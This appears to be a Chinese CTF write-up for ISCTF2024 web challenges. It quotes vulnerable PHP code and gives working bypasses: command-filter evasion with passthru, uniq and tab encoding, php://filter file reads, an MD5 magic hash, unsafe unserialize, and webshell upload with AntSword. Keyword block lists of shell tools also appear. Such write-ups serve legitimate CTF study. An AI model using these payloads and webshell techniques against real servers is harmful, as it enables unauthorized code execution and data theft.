isctf2024web
ISCTF2024:
1z_php:
if(isset($_POST['J'])){ $call=$_POST['J']; $dangerous_commands = ['cat', 'tac', 'head', 'nl', 'more', 'less', 'tail', 'vi', 'sed', 'od']; foreach ($dangerous_commands as $command) { if (preg_match("/$command/i", $call)) { die("这些个危险函数可不兴使啊"); } } system($call);}?> |
J=ls / J=uniq /f14g
25时晓山瑞希生日会:
你不是烤p!要是Project Sekai的客户端请求才能加入生日会
在UA头上面改得到:你似乎没在正确的时间来…,额,时间:伪造data:Date: Thu, 27 Aug 2024 05:00:00 GMT
ezrce:
if (isset($_GET['cmd'])) { $cmd = $_GET['cmd']; if (preg_match("/flag|cat|ls|echo|php|bash|sh|more| |less|head|tail|[\|\&\>\<]|eval|system|exec|popen|shell_exec/i", $cmd)) { die("Blocked by security filter!"); } else { eval($cmd); } } else { highlight_file(__FILE__); |
cmd=var_dump(scandir(‘/‘));进行读取根目录下面的文件发现flag,
法1:
cmd=include$_GET[1];&1=pHp://FilTer/convert.base64-encode/resource=/flag 然后解码
法2:
?cmd=var_dump(file_get_contents($_GET[‘1’]));&1=/flag
法3:
取反绕过
法4:
cmd=passthru(‘cd%09..;cd%09..;uniq%09/?l*’);
ezserialize:
<?php error_reporting(0); class Flag { private $flag; public function __construct() { $this->flag = file_get_contents('/flag'); } public function getFlag() { return $this->flag; } public function __toString() { return "You can't directly access the flag!"; } } class User { public $username; public $isAdmin = false; public function __construct($username) { $this->username = $username; } public function __wakeup() { if ($this->isAdmin) { echo "Welcome, admin! Here's your flag: " . (new Flag())->getFlag(); } else { echo "Hello, " . htmlspecialchars($this->username) . "!"; } } } if (isset($_GET['data'])) { $data = $_GET['data']; $object = unserialize($data); if ($object instanceof User) { echo $object; } else { echo "Invalid object!"; } } else { highlight_file(__FILE__); } ?> |
这个将false改为true然后随便传username就行了;
<?php |
小蓝鲨的临时存储室:
这个直接传上去发现/flag文件打不开权限不够
发现/down_file.sh:find /var/www/localhost/htdocs/uploads/ -type f -name “*.php” -exec rm -f {} ;
可以改为:/flag > /tmp/1.txt 然后等会就ok了
小蓝鲨的冒险:
$a = "isctf2024"; $b = $_GET["b"]; @parse_str($b); if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) { $num = $_POST["num"]; if($num == 2024){ die("QAQ"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(intval($num,0) == 2024){ if (isset($_GET['which'])){ $which = $_GET['which']; switch ($which){ case 0: print('QAQ'); case 1: case 2: require_once $which.'.php'; echo $flag; break; default: echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false); break; |
首先是md5绕过:b=a[0]=240610708
然后:小数绕过:num=2024.1或者8进制
然后:
if (isset($_GET[‘which’])){ $which = $_GET[‘which’]; switch ($which){ case 0: print(‘QAQ’); case 1: case 2: require_once $which.’.php’; echo $flag; break; default: echo GWF_HTML::error(‘PHP-0817’, ‘Hacker NoNoNo!’, false); break;
传which=flag 正好匹配flag.php就出来了
小蓝鲨的秘密:
打开发现302跳转;直接抓包出来flag
UP!UPloader:
文件上传,传上去小马;然后发现include.php会出来文件源码,先读upload.php
文件上传到 ./uploads/ 目录下,文件名被重命名成 [md5 加密](https://so.csdn.net/so/search?q=md5 加密&spm=1001.2101.3001.7020)+后缀,按照逻辑访问
然后蚁剑连接就行了
发现找不到这里可以在网站上面执行:
cmd=system(‘env’);
cmd=phpinfo();都可以找到